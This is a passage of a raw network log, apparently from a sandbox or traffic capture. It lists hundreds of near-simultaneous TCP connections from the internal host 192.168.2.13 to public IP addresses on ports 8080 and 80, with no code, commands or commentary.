Mar 4, 2024 15:05:33.164488077 CET	47577	8080	192.168.2.13	85.139.23.115
Mar 4, 2024 15:05:33.164490938 CET	47577	8080	192.168.2.13	85.71.53.73
Mar 4, 2024 15:05:33.164490938 CET	48089	80	192.168.2.13	112.35.251.11
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	85.242.26.221
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	95.97.50.176
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	31.249.247.197
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	31.157.225.88
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	31.157.66.113
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	85.131.69.184
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	62.130.198.62
Mar 4, 2024 15:05:33.164495945 CET	47577	8080	192.168.2.13	94.59.101.188
Mar 4, 2024 15:05:33.164508104 CET	47577	8080	192.168.2.13	62.145.51.246
Mar 4, 2024 15:05:33.164508104 CET	47577	8080	192.168.2.13	95.30.208.54
Mar 4, 2024 15:05:33.164508104 CET	47577	8080	192.168.2.13	94.200.47.221
Mar 4, 2024 15:05:33.164511919 CET	47577	8080	192.168.2.13	31.45.25.239
Mar 4, 2024 15:05:33.164511919 CET	47577	8080	192.168.2.13	31.111.12.172
Mar 4, 2024 15:05:33.164513111 CET	47577	8080	192.168.2.13	31.162.139.149
Mar 4, 2024 15:05:33.164513111 CET	47577	8080	192.168.2.13	31.108.102.51
Mar 4, 2024 15:05:33.164534092 CET	47577	8080	192.168.2.13	94.252.165.157
Mar 4, 2024 15:05:33.164534092 CET	48089	80	192.168.2.13	112.227.59.161
Mar 4, 2024 15:05:33.164534092 CET	47577	8080	192.168.2.13	62.118.166.152
Mar 4, 2024 15:05:33.164534092 CET	47577	8080	192.168.2.13	31.128.135.205
Mar 4, 2024 15:05:33.164534092 CET	48089	80	192.168.2.13	112.180.5.221
Mar 4, 2024 15:05:33.164535046 CET	48089	80	192.168.2.13	112.229.228.210
Mar 4, 2024 15:05:33.164541006 CET	47577	8080	192.168.2.13	62.214.149.225
Mar 4, 2024 15:05:33.164541006 CET	47577	8080	192.168.2.13	31.239.163.18
Mar 4, 2024 15:05:33.164541006 CET	48089	80	192.168.2.13	112.44.145.244
Mar 4, 2024 15:05:33.164541006 CET	48089	80	192.168.2.13	112.15.118.203
Mar 4, 2024 15:05:33.164541006 CET	48089	80	192.168.2.13	112.240.228.103
Mar 4, 2024 15:05:33.164541006 CET	47577	8080	192.168.2.13	62.175.255.52
Mar 4, 2024 15:05:33.164544106 CET	47577	8080	192.168.2.13	62.107.30.120
Mar 4, 2024 15:05:33.164541006 CET	48089	80	192.168.2.13	112.88.81.37
Mar 4, 2024 15:05:33.164541006 CET	47577	8080	192.168.2.13	62.144.161.159
Mar 4, 2024 15:05:33.164552927 CET	47577	8080	192.168.2.13	94.201.175.38
Mar 4, 2024 15:05:33.164556980 CET	47577	8080	192.168.2.13	94.17.108.183
Mar 4, 2024 15:05:33.164556980 CET	48089	80	192.168.2.13	112.192.129.211
Mar 4, 2024 15:05:33.164561987 CET	47577	8080	192.168.2.13	94.152.11.122
Mar 4, 2024 15:05:33.164571047 CET	47577	8080	192.168.2.13	62.205.136.35
Mar 4, 2024 15:05:33.164571047 CET	47577	8080	192.168.2.13	94.69.95.31
Mar 4, 2024 15:05:33.164572001 CET	47577	8080	192.168.2.13	62.221.39.73
Mar 4, 2024 15:05:33.164581060 CET	48089	80	192.168.2.13	112.36.169.250
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	31.244.161.188
Mar 4, 2024 15:05:33.164582014 CET	48089	80	192.168.2.13	112.140.237.81
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	95.130.173.218
Mar 4, 2024 15:05:33.164582968 CET	47577	8080	192.168.2.13	62.148.210.62
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	62.86.147.245
Mar 4, 2024 15:05:33.164582968 CET	47577	8080	192.168.2.13	95.97.1.15
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	94.98.78.28
Mar 4, 2024 15:05:33.164582968 CET	48089	80	192.168.2.13	112.116.3.145
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	31.65.223.31
Mar 4, 2024 15:05:33.164582968 CET	47577	8080	192.168.2.13	94.182.133.226
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	85.175.73.125
Mar 4, 2024 15:05:33.164588928 CET	47577	8080	192.168.2.13	31.225.150.49
Mar 4, 2024 15:05:33.164582014 CET	47577	8080	192.168.2.13	95.168.222.140
Mar 4, 2024 15:05:33.164593935 CET	47577	8080	192.168.2.13	94.225.20.13
Mar 4, 2024 15:05:33.164594889 CET	47577	8080	192.168.2.13	31.1.59.34
Mar 4, 2024 15:05:33.164594889 CET	48089	80	192.168.2.13	112.60.84.209
Mar 4, 2024 15:05:33.164594889 CET	47577	8080	192.168.2.13	62.68.17.53
Mar 4, 2024 15:05:33.164594889 CET	47577	8080	192.168.2.13	94.137.222.215
Mar 4, 2024 15:05:33.164594889 CET	47577	8080	192.168.2.13	62.39.33.66
Mar 4, 2024 15:05:33.164597034 CET	47577	8080	192.168.2.13	95.255.66.59
Mar 4, 2024 15:05:33.164597034 CET	48089	80	192.168.2.13	112.101.66.44
Mar 4, 2024 15:05:33.164597034 CET	47577	8080	192.168.2.13	31.30.249.141
Mar 4, 2024 15:05:33.164599895 CET	48089	80	192.168.2.13	112.45.215.232
Mar 4, 2024 15:05:33.164602041 CET	48089	80	192.168.2.13	112.213.63.226
Mar 4, 2024 15:05:33.164597034 CET	48089	80	192.168.2.13	112.131.3.72
Mar 4, 2024 15:05:33.164597034 CET	48089	80	192.168.2.13	112.221.181.25
Mar 4, 2024 15:05:33.164597034 CET	47577	8080	192.168.2.13	62.36.236.167
Mar 4, 2024 15:05:33.164597988 CET	47577	8080	192.168.2.13	31.68.247.48
Mar 4, 2024 15:05:33.164621115 CET	48089	80	192.168.2.13	112.165.162.155
Mar 4, 2024 15:05:33.164621115 CET	47577	8080	192.168.2.13	85.31.95.20
Mar 4, 2024 15:05:33.164621115 CET	48089	80	192.168.2.13	112.172.80.201
Mar 4, 2024 15:05:33.164622068 CET	48089	80	192.168.2.13	112.68.130.161
Mar 4, 2024 15:05:33.164622068 CET	47577	8080	192.168.2.13	62.48.171.223
Mar 4, 2024 15:05:33.164622068 CET	47577	8080	192.168.2.13	85.151.168.200
Mar 4, 2024 15:05:33.164625883 CET	47577	8080	192.168.2.13	85.137.135.96
Mar 4, 2024 15:05:33.164625883 CET	47577	8080	192.168.2.13	94.25.37.80
Mar 4, 2024 15:05:33.164627075 CET	47577	8080	192.168.2.13	62.146.247.91
Mar 4, 2024 15:05:33.164627075 CET	48089	80	192.168.2.13	112.134.40.176
Mar 4, 2024 15:05:33.164633989 CET	47577	8080	192.168.2.13	85.245.87.228
Mar 4, 2024 15:05:33.164635897 CET	47577	8080	192.168.2.13	31.116.49.154
Mar 4, 2024 15:05:33.164639950 CET	47577	8080	192.168.2.13	62.177.131.53
Mar 4, 2024 15:05:33.164639950 CET	48089	80	192.168.2.13	112.124.7.54
Mar 4, 2024 15:05:33.164640903 CET	47577	8080	192.168.2.13	31.92.75.222
Mar 4, 2024 15:05:33.164640903 CET	48089	80	192.168.2.13	112.173.77.145
Mar 4, 2024 15:05:33.164640903 CET	47577	8080	192.168.2.13	94.50.127.31
Mar 4, 2024 15:05:33.164645910 CET	47577	8080	192.168.2.13	85.31.107.196
Mar 4, 2024 15:05:33.164645910 CET	48089	80	192.168.2.13	112.91.227.36
Mar 4, 2024 15:05:33.164645910 CET	48089	80	192.168.2.13	112.64.50.181
Mar 4, 2024 15:05:33.164645910 CET	47577	8080	192.168.2.13	62.13.254.214
Mar 4, 2024 15:05:33.164645910 CET	47577	8080	192.168.2.13	95.57.120.247
Mar 4, 2024 15:05:33.164645910 CET	47577	8080	192.168.2.13	85.189.126.220
Mar 4, 2024 15:05:33.164649963 CET	47577	8080	192.168.2.13	94.165.202.128
Mar 4, 2024 15:05:33.164657116 CET	47577	8080	192.168.2.13	31.218.73.186
Mar 4, 2024 15:05:33.164657116 CET	47577	8080	192.168.2.13	94.182.208.150
Mar 4, 2024 15:05:33.164657116 CET	47577	8080	192.168.2.13	94.136.176.254
Mar 4, 2024 15:05:33.164657116 CET	47577	8080	192.168.2.13	62.8.167.145
Mar 4, 2024 15:05:33.164660931 CET	48089	80	192.168.2.13	112.85.180.54
Mar 4, 2024 15:05:33.164660931 CET	47577	8080	192.168.2.13	31.152.147.175
Mar 4, 2024 15:05:33.164660931 CET	48089	80	192.168.2.13	112.53.187.177
Mar 4, 2024 15:05:33.164660931 CET	48089	80	192.168.2.13	112.50.17.118
Mar 4, 2024 15:05:33.164666891 CET	48089	80	192.168.2.13	112.130.228.64
Mar 4, 2024 15:05:33.164666891 CET	47577	8080	192.168.2.13	31.254.226.136
Mar 4, 2024 15:05:33.164666891 CET	48089	80	192.168.2.13	112.43.214.216
Mar 4, 2024 15:05:33.164666891 CET	48089	80	192.168.2.13	112.90.214.31
Mar 4, 2024 15:05:33.164666891 CET	48089	80	192.168.2.13	112.45.141.121
Mar 4, 2024 15:05:33.164666891 CET	47577	8080	192.168.2.13	94.147.161.250
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	62.128.53.66
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	94.255.209.206
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	31.113.146.241
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	94.150.252.206
Mar 4, 2024 15:05:33.164693117 CET	48089	80	192.168.2.13	112.236.81.59
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	31.90.215.215
Mar 4, 2024 15:05:33.164693117 CET	48089	80	192.168.2.13	112.151.92.83
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	31.108.40.110
Mar 4, 2024 15:05:33.164693117 CET	48089	80	192.168.2.13	112.114.91.50
Mar 4, 2024 15:05:33.164691925 CET	47577	8080	192.168.2.13	85.121.204.54
Mar 4, 2024 15:05:33.164693117 CET	48089	80	192.168.2.13	112.136.197.34
Mar 4, 2024 15:05:33.164693117 CET	48089	80	192.168.2.13	112.12.216.23
Mar 4, 2024 15:05:33.164693117 CET	47577	8080	192.168.2.13	94.243.223.4
Mar 4, 2024 15:05:33.164709091 CET	47577	8080	192.168.2.13	95.202.16.39
Mar 4, 2024 15:05:33.164709091 CET	48089	80	192.168.2.13	112.4.10.174
Mar 4, 2024 15:05:33.164709091 CET	47577	8080	192.168.2.13	31.203.215.24
Mar 4, 2024 15:05:33.164709091 CET	47577	8080	192.168.2.13	31.236.212.202
Mar 4, 2024 15:05:33.164709091 CET	47577	8080	192.168.2.13	94.162.128.137
Mar 4, 2024 15:05:33.164710999 CET	47577	8080	192.168.2.13	85.196.102.253
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	85.232.6.250
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	31.72.184.169
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	94.63.67.159
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	85.82.166.252
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	94.19.33.163
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	95.79.152.41
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	85.4.254.139
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	94.133.171.128
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	94.118.194.250
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	95.215.102.79
Mar 4, 2024 15:05:33.164711952 CET	47577	8080	192.168.2.13	95.37.56.136
Mar 4, 2024 15:05:33.164716005 CET	47577	8080	192.168.2.13	85.233.189.128
Mar 4, 2024 15:05:33.164716005 CET	48089	80	192.168.2.13	112.140.68.131
Mar 4, 2024 15:05:33.164716005 CET	47577	8080	192.168.2.13	31.136.27.248
Mar 4, 2024 15:05:33.164716005 CET	47577	8080	192.168.2.13	62.181.183.9
Mar 4, 2024 15:05:33.164716005 CET	47577	8080	192.168.2.13	31.15.214.60
Mar 4, 2024 15:05:33.164716005 CET	47577	8080	192.168.2.13	31.244.124.204
Mar 4, 2024 15:05:33.164751053 CET	47577	8080	192.168.2.13	62.63.37.37
Mar 4, 2024 15:05:33.164751053 CET	47577	8080	192.168.2.13	62.118.199.35
Mar 4, 2024 15:05:33.164751053 CET	47577	8080	192.168.2.13	31.230.43.12
Mar 4, 2024 15:05:33.164762974 CET	40514	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:33.164762974 CET	47577	8080	192.168.2.13	95.119.197.98
Mar 4, 2024 15:05:33.164791107 CET	47577	8080	192.168.2.13	85.120.18.255
Mar 4, 2024 15:05:33.164791107 CET	47577	8080	192.168.2.13	62.20.92.184
Mar 4, 2024 15:05:33.164791107 CET	47577	8080	192.168.2.13	95.78.187.44
Mar 4, 2024 15:05:33.164791107 CET	47577	8080	192.168.2.13	62.54.202.152
Mar 4, 2024 15:05:33.164791107 CET	47577	8080	192.168.2.13	95.145.46.85
Mar 4, 2024 15:05:33.164791107 CET	47577	8080	192.168.2.13	62.212.117.167
Mar 4, 2024 15:05:33.164793968 CET	47577	8080	192.168.2.13	31.37.107.203
Mar 4, 2024 15:05:33.164797068 CET	47577	8080	192.168.2.13	62.66.242.25
Mar 4, 2024 15:05:33.164797068 CET	47577	8080	192.168.2.13	62.208.186.59
Mar 4, 2024 15:05:33.164797068 CET	47577	8080	192.168.2.13	62.189.77.49
Mar 4, 2024 15:05:33.164800882 CET	47577	8080	192.168.2.13	95.62.159.49
Mar 4, 2024 15:05:33.164805889 CET	47577	8080	192.168.2.13	94.119.188.125
Mar 4, 2024 15:05:33.164808989 CET	47577	8080	192.168.2.13	85.35.116.235
Mar 4, 2024 15:05:33.164808989 CET	47577	8080	192.168.2.13	94.79.229.157
Mar 4, 2024 15:05:33.164809942 CET	48089	80	192.168.2.13	112.3.169.129
Mar 4, 2024 15:05:33.164808989 CET	47577	8080	192.168.2.13	95.165.221.149
Mar 4, 2024 15:05:33.164809942 CET	47577	8080	192.168.2.13	31.188.140.28
Mar 4, 2024 15:05:33.164808989 CET	47577	8080	192.168.2.13	94.117.104.146
Mar 4, 2024 15:05:33.164808989 CET	47577	8080	192.168.2.13	31.52.255.77
Mar 4, 2024 15:05:33.164808989 CET	47577	8080	192.168.2.13	62.150.29.119
Mar 4, 2024 15:05:33.164809942 CET	47577	8080	192.168.2.13	94.147.93.234
Mar 4, 2024 15:05:33.164820910 CET	47577	8080	192.168.2.13	31.98.220.255
Mar 4, 2024 15:05:33.164820910 CET	47577	8080	192.168.2.13	31.254.101.235
Mar 4, 2024 15:05:33.164820910 CET	47577	8080	192.168.2.13	95.227.80.194
Mar 4, 2024 15:05:33.164820910 CET	47577	8080	192.168.2.13	85.74.122.234
Mar 4, 2024 15:05:33.164825916 CET	47577	8080	192.168.2.13	95.166.109.113
Mar 4, 2024 15:05:33.164833069 CET	47577	8080	192.168.2.13	95.234.120.110
Mar 4, 2024 15:05:33.164833069 CET	47577	8080	192.168.2.13	31.179.177.100
Mar 4, 2024 15:05:33.164833069 CET	47577	8080	192.168.2.13	85.70.169.53
Mar 4, 2024 15:05:33.164833069 CET	47577	8080	192.168.2.13	85.167.255.163
Mar 4, 2024 15:05:33.164833069 CET	48089	80	192.168.2.13	112.246.36.212
Mar 4, 2024 15:05:33.164833069 CET	47577	8080	192.168.2.13	95.237.149.68
Mar 4, 2024 15:05:33.164839029 CET	47577	8080	192.168.2.13	95.176.172.241
Mar 4, 2024 15:05:33.164833069 CET	47577	8080	192.168.2.13	62.132.228.0
Mar 4, 2024 15:05:33.164834023 CET	47577	8080	192.168.2.13	95.196.178.95
Mar 4, 2024 15:05:33.164834023 CET	47577	8080	192.168.2.13	31.28.82.5
Mar 4, 2024 15:05:33.164844036 CET	47577	8080	192.168.2.13	31.225.162.65
Mar 4, 2024 15:05:33.164854050 CET	47577	8080	192.168.2.13	95.6.150.38
Mar 4, 2024 15:05:33.164855957 CET	47577	8080	192.168.2.13	31.219.72.205
Mar 4, 2024 15:05:33.164863110 CET	47577	8080	192.168.2.13	31.141.72.139
Mar 4, 2024 15:05:33.164864063 CET	47577	8080	192.168.2.13	31.213.174.243
Mar 4, 2024 15:05:33.164864063 CET	47577	8080	192.168.2.13	94.132.145.210
Mar 4, 2024 15:05:33.164870024 CET	47577	8080	192.168.2.13	95.191.155.162
Mar 4, 2024 15:05:33.164877892 CET	47577	8080	192.168.2.13	85.3.240.27
Mar 4, 2024 15:05:33.164890051 CET	47577	8080	192.168.2.13	95.26.22.194
Mar 4, 2024 15:05:33.164901018 CET	47577	8080	192.168.2.13	62.25.168.218
Mar 4, 2024 15:05:33.164901018 CET	47577	8080	192.168.2.13	94.151.10.63
Mar 4, 2024 15:05:33.164901972 CET	47577	8080	192.168.2.13	94.0.233.57
Mar 4, 2024 15:05:33.164906025 CET	47577	8080	192.168.2.13	31.172.211.206
Mar 4, 2024 15:05:33.164911032 CET	47577	8080	192.168.2.13	62.197.172.115
Mar 4, 2024 15:05:33.164912939 CET	47577	8080	192.168.2.13	31.33.222.250
Mar 4, 2024 15:05:33.164912939 CET	47577	8080	192.168.2.13	94.198.21.179
Mar 4, 2024 15:05:33.164920092 CET	47577	8080	192.168.2.13	94.151.26.26
Mar 4, 2024 15:05:33.164930105 CET	47577	8080	192.168.2.13	31.68.163.215
Mar 4, 2024 15:05:33.164930105 CET	47577	8080	192.168.2.13	95.119.254.7
Mar 4, 2024 15:05:33.164930105 CET	47577	8080	192.168.2.13	94.211.243.64
Mar 4, 2024 15:05:33.164931059 CET	47577	8080	192.168.2.13	95.72.123.60
Mar 4, 2024 15:05:33.164931059 CET	47577	8080	192.168.2.13	94.201.83.177
Mar 4, 2024 15:05:33.164931059 CET	47577	8080	192.168.2.13	62.156.143.169
Mar 4, 2024 15:05:33.164931059 CET	47577	8080	192.168.2.13	31.170.210.104
Mar 4, 2024 15:05:33.164931059 CET	47577	8080	192.168.2.13	62.13.83.140
Mar 4, 2024 15:05:33.164942980 CET	47577	8080	192.168.2.13	85.181.89.90
Mar 4, 2024 15:05:33.164942980 CET	47577	8080	192.168.2.13	95.43.135.7
Mar 4, 2024 15:05:33.164942980 CET	47577	8080	192.168.2.13	85.201.127.238
Mar 4, 2024 15:05:33.164952040 CET	47577	8080	192.168.2.13	95.172.214.53
Mar 4, 2024 15:05:33.164958000 CET	47577	8080	192.168.2.13	31.145.39.94
Mar 4, 2024 15:05:33.164961100 CET	47577	8080	192.168.2.13	94.226.114.24
Mar 4, 2024 15:05:33.164969921 CET	47577	8080	192.168.2.13	62.63.252.144
Mar 4, 2024 15:05:33.164973974 CET	47577	8080	192.168.2.13	62.121.29.87
Mar 4, 2024 15:05:33.164979935 CET	47577	8080	192.168.2.13	94.45.97.205
Mar 4, 2024 15:05:33.164983034 CET	47577	8080	192.168.2.13	95.97.229.94
Mar 4, 2024 15:05:33.164995909 CET	47577	8080	192.168.2.13	31.136.180.184
Mar 4, 2024 15:05:33.164999008 CET	47577	8080	192.168.2.13	94.193.138.165
Mar 4, 2024 15:05:33.165009975 CET	47577	8080	192.168.2.13	62.97.167.37
Mar 4, 2024 15:05:33.165009975 CET	47577	8080	192.168.2.13	95.129.106.41
Mar 4, 2024 15:05:33.165009975 CET	47577	8080	192.168.2.13	94.247.1.107
Mar 4, 2024 15:05:33.165009975 CET	47577	8080	192.168.2.13	62.173.233.76
Mar 4, 2024 15:05:33.165009975 CET	47577	8080	192.168.2.13	62.140.176.255
Mar 4, 2024 15:05:33.165010929 CET	47577	8080	192.168.2.13	95.222.188.248
Mar 4, 2024 15:05:33.165009975 CET	47577	8080	192.168.2.13	95.215.124.122
Mar 4, 2024 15:05:33.165010929 CET	47577	8080	192.168.2.13	85.37.53.42
Mar 4, 2024 15:05:33.165011883 CET	47577	8080	192.168.2.13	62.92.251.77
Mar 4, 2024 15:05:33.165019989 CET	47577	8080	192.168.2.13	31.42.15.243
Mar 4, 2024 15:05:33.165019989 CET	47577	8080	192.168.2.13	95.62.81.217
Mar 4, 2024 15:05:33.165025949 CET	47577	8080	192.168.2.13	62.16.196.190
Mar 4, 2024 15:05:33.165029049 CET	47577	8080	192.168.2.13	94.75.183.210
Mar 4, 2024 15:05:33.165029049 CET	47577	8080	192.168.2.13	95.140.192.143
Mar 4, 2024 15:05:33.165029049 CET	47577	8080	192.168.2.13	94.242.40.197
Mar 4, 2024 15:05:33.165029049 CET	47577	8080	192.168.2.13	62.164.125.2
Mar 4, 2024 15:05:33.165033102 CET	47577	8080	192.168.2.13	85.92.198.119
Mar 4, 2024 15:05:33.165033102 CET	47577	8080	192.168.2.13	94.206.65.21
Mar 4, 2024 15:05:33.165039062 CET	47577	8080	192.168.2.13	85.67.40.175
Mar 4, 2024 15:05:33.165040970 CET	47577	8080	192.168.2.13	31.126.225.92
Mar 4, 2024 15:05:33.165044069 CET	47577	8080	192.168.2.13	95.7.105.223
Mar 4, 2024 15:05:33.165044069 CET	47577	8080	192.168.2.13	85.235.220.35
Mar 4, 2024 15:05:33.165044069 CET	47577	8080	192.168.2.13	94.41.68.176
Mar 4, 2024 15:05:33.165051937 CET	47577	8080	192.168.2.13	62.201.26.186
Mar 4, 2024 15:05:33.165051937 CET	47577	8080	192.168.2.13	94.120.204.97
Mar 4, 2024 15:05:33.165051937 CET	47577	8080	192.168.2.13	95.20.234.46
Mar 4, 2024 15:05:33.165055037 CET	47577	8080	192.168.2.13	94.159.117.60
Mar 4, 2024 15:05:33.165055990 CET	47577	8080	192.168.2.13	31.165.100.245
Mar 4, 2024 15:05:33.165057898 CET	47577	8080	192.168.2.13	31.167.96.93
Mar 4, 2024 15:05:33.165064096 CET	47577	8080	192.168.2.13	95.22.109.184
Mar 4, 2024 15:05:33.165066004 CET	47577	8080	192.168.2.13	31.141.247.109
Mar 4, 2024 15:05:33.165067911 CET	47577	8080	192.168.2.13	31.21.169.54
Mar 4, 2024 15:05:33.165067911 CET	47577	8080	192.168.2.13	94.18.228.249
Mar 4, 2024 15:05:33.165072918 CET	47577	8080	192.168.2.13	31.163.101.43
Mar 4, 2024 15:05:33.165072918 CET	47577	8080	192.168.2.13	62.134.65.239
Mar 4, 2024 15:05:33.165085077 CET	47577	8080	192.168.2.13	31.19.126.167
Mar 4, 2024 15:05:33.165086031 CET	47577	8080	192.168.2.13	95.207.73.189
Mar 4, 2024 15:05:33.165095091 CET	47577	8080	192.168.2.13	62.5.255.61
Mar 4, 2024 15:05:33.165096998 CET	47577	8080	192.168.2.13	95.29.154.91
Mar 4, 2024 15:05:33.165103912 CET	47577	8080	192.168.2.13	95.190.85.111
Mar 4, 2024 15:05:33.165103912 CET	47577	8080	192.168.2.13	85.8.58.152
Mar 4, 2024 15:05:33.165110111 CET	47577	8080	192.168.2.13	94.36.110.105
Mar 4, 2024 15:05:33.165111065 CET	47577	8080	192.168.2.13	85.32.105.129
Mar 4, 2024 15:05:33.165112019 CET	47577	8080	192.168.2.13	85.43.113.182
Mar 4, 2024 15:05:33.165111065 CET	47577	8080	192.168.2.13	95.174.5.53
Mar 4, 2024 15:05:33.165112019 CET	47577	8080	192.168.2.13	62.114.106.184
Mar 4, 2024 15:05:33.165119886 CET	47577	8080	192.168.2.13	31.91.235.25
Mar 4, 2024 15:05:33.165119886 CET	47577	8080	192.168.2.13	95.251.165.168
Mar 4, 2024 15:05:33.165126085 CET	47577	8080	192.168.2.13	94.114.226.203
Mar 4, 2024 15:05:33.165126085 CET	47577	8080	192.168.2.13	31.194.74.162
Mar 4, 2024 15:05:33.165132046 CET	47577	8080	192.168.2.13	94.167.74.40
Mar 4, 2024 15:05:33.165134907 CET	47577	8080	192.168.2.13	94.54.84.76
Mar 4, 2024 15:05:33.165134907 CET	47577	8080	192.168.2.13	95.230.170.47
Mar 4, 2024 15:05:33.165134907 CET	47577	8080	192.168.2.13	85.167.46.105
Mar 4, 2024 15:05:33.165138006 CET	47577	8080	192.168.2.13	31.202.45.208
Mar 4, 2024 15:05:33.165138006 CET	47577	8080	192.168.2.13	95.171.46.201
Mar 4, 2024 15:05:33.165144920 CET	47577	8080	192.168.2.13	95.103.176.218
Mar 4, 2024 15:05:33.165144920 CET	47577	8080	192.168.2.13	94.239.233.62
Mar 4, 2024 15:05:33.165146112 CET	47577	8080	192.168.2.13	85.182.126.198
Mar 4, 2024 15:05:33.165144920 CET	47577	8080	192.168.2.13	62.185.157.200
Mar 4, 2024 15:05:33.165144920 CET	47577	8080	192.168.2.13	94.182.212.104
Mar 4, 2024 15:05:33.165144920 CET	47577	8080	192.168.2.13	95.243.133.81
Mar 4, 2024 15:05:33.165149927 CET	47577	8080	192.168.2.13	85.35.184.255
Mar 4, 2024 15:05:33.165152073 CET	47577	8080	192.168.2.13	62.69.147.8
Mar 4, 2024 15:05:33.165153027 CET	47577	8080	192.168.2.13	62.217.11.221
Mar 4, 2024 15:05:33.165153027 CET	47577	8080	192.168.2.13	85.52.144.79
Mar 4, 2024 15:05:33.165153980 CET	47577	8080	192.168.2.13	62.127.93.131
Mar 4, 2024 15:05:33.165155888 CET	47577	8080	192.168.2.13	62.144.28.217
Mar 4, 2024 15:05:33.165155888 CET	47577	8080	192.168.2.13	94.154.206.16
Mar 4, 2024 15:05:33.165155888 CET	47577	8080	192.168.2.13	94.223.231.31
Mar 4, 2024 15:05:33.165160894 CET	47577	8080	192.168.2.13	31.29.100.245
Mar 4, 2024 15:05:33.165164948 CET	47577	8080	192.168.2.13	62.42.118.218
Mar 4, 2024 15:05:33.165174961 CET	47577	8080	192.168.2.13	95.22.33.162
Mar 4, 2024 15:05:33.165179014 CET	47577	8080	192.168.2.13	62.188.73.97
Mar 4, 2024 15:05:33.165182114 CET	47577	8080	192.168.2.13	62.213.163.174
Mar 4, 2024 15:05:33.165186882 CET	47577	8080	192.168.2.13	62.63.1.183
Mar 4, 2024 15:05:33.165189981 CET	47577	8080	192.168.2.13	95.252.169.199
Mar 4, 2024 15:05:33.165189981 CET	47577	8080	192.168.2.13	31.200.236.219
Mar 4, 2024 15:05:33.165190935 CET	47577	8080	192.168.2.13	94.136.76.119
Mar 4, 2024 15:05:33.165189981 CET	47577	8080	192.168.2.13	95.45.246.148
Mar 4, 2024 15:05:33.165190935 CET	47577	8080	192.168.2.13	31.248.119.114
Mar 4, 2024 15:05:33.165190935 CET	47577	8080	192.168.2.13	95.12.151.116
Mar 4, 2024 15:05:33.165210009 CET	47577	8080	192.168.2.13	94.180.244.185
Mar 4, 2024 15:05:33.165211916 CET	47577	8080	192.168.2.13	94.125.209.191
Mar 4, 2024 15:05:33.165211916 CET	47577	8080	192.168.2.13	62.69.81.232
Mar 4, 2024 15:05:33.165211916 CET	47577	8080	192.168.2.13	31.104.63.76
Mar 4, 2024 15:05:33.165214062 CET	47577	8080	192.168.2.13	62.137.43.73
Mar 4, 2024 15:05:33.165221930 CET	47577	8080	192.168.2.13	62.165.227.59
Mar 4, 2024 15:05:33.165224075 CET	47577	8080	192.168.2.13	85.24.7.4
Mar 4, 2024 15:05:33.165225983 CET	47577	8080	192.168.2.13	95.79.238.86
Mar 4, 2024 15:05:33.165224075 CET	47577	8080	192.168.2.13	31.67.9.17
Mar 4, 2024 15:05:33.165225983 CET	47577	8080	192.168.2.13	95.111.115.68
Mar 4, 2024 15:05:33.165224075 CET	47577	8080	192.168.2.13	31.135.94.237
Mar 4, 2024 15:05:33.165225983 CET	47577	8080	192.168.2.13	95.209.96.69
Mar 4, 2024 15:05:33.165230036 CET	47577	8080	192.168.2.13	31.233.205.2
Mar 4, 2024 15:05:33.165241003 CET	47577	8080	192.168.2.13	95.102.45.29
Mar 4, 2024 15:05:33.165242910 CET	47577	8080	192.168.2.13	95.245.212.229
Mar 4, 2024 15:05:33.165242910 CET	47577	8080	192.168.2.13	31.13.146.18
Mar 4, 2024 15:05:33.165245056 CET	47577	8080	192.168.2.13	95.203.204.109
Mar 4, 2024 15:05:33.165245056 CET	47577	8080	192.168.2.13	62.163.229.124
Mar 4, 2024 15:05:33.165252924 CET	47577	8080	192.168.2.13	31.192.120.150
Mar 4, 2024 15:05:33.165254116 CET	47577	8080	192.168.2.13	85.92.67.90
Mar 4, 2024 15:05:33.165254116 CET	47577	8080	192.168.2.13	31.127.78.30
Mar 4, 2024 15:05:33.165255070 CET	47577	8080	192.168.2.13	94.99.74.107
Mar 4, 2024 15:05:33.165257931 CET	47577	8080	192.168.2.13	62.2.20.94
Mar 4, 2024 15:05:33.165261030 CET	47577	8080	192.168.2.13	94.53.32.41
Mar 4, 2024 15:05:33.165261030 CET	47577	8080	192.168.2.13	94.22.22.70
Mar 4, 2024 15:05:33.165265083 CET	47577	8080	192.168.2.13	31.164.189.78
Mar 4, 2024 15:05:33.165266991 CET	47577	8080	192.168.2.13	85.207.227.55
Mar 4, 2024 15:05:33.165266991 CET	47577	8080	192.168.2.13	94.132.123.28
Mar 4, 2024 15:05:33.165267944 CET	47577	8080	192.168.2.13	85.18.255.13
Mar 4, 2024 15:05:33.165270090 CET	47577	8080	192.168.2.13	94.16.165.124
Mar 4, 2024 15:05:33.165267944 CET	47577	8080	192.168.2.13	85.248.47.115
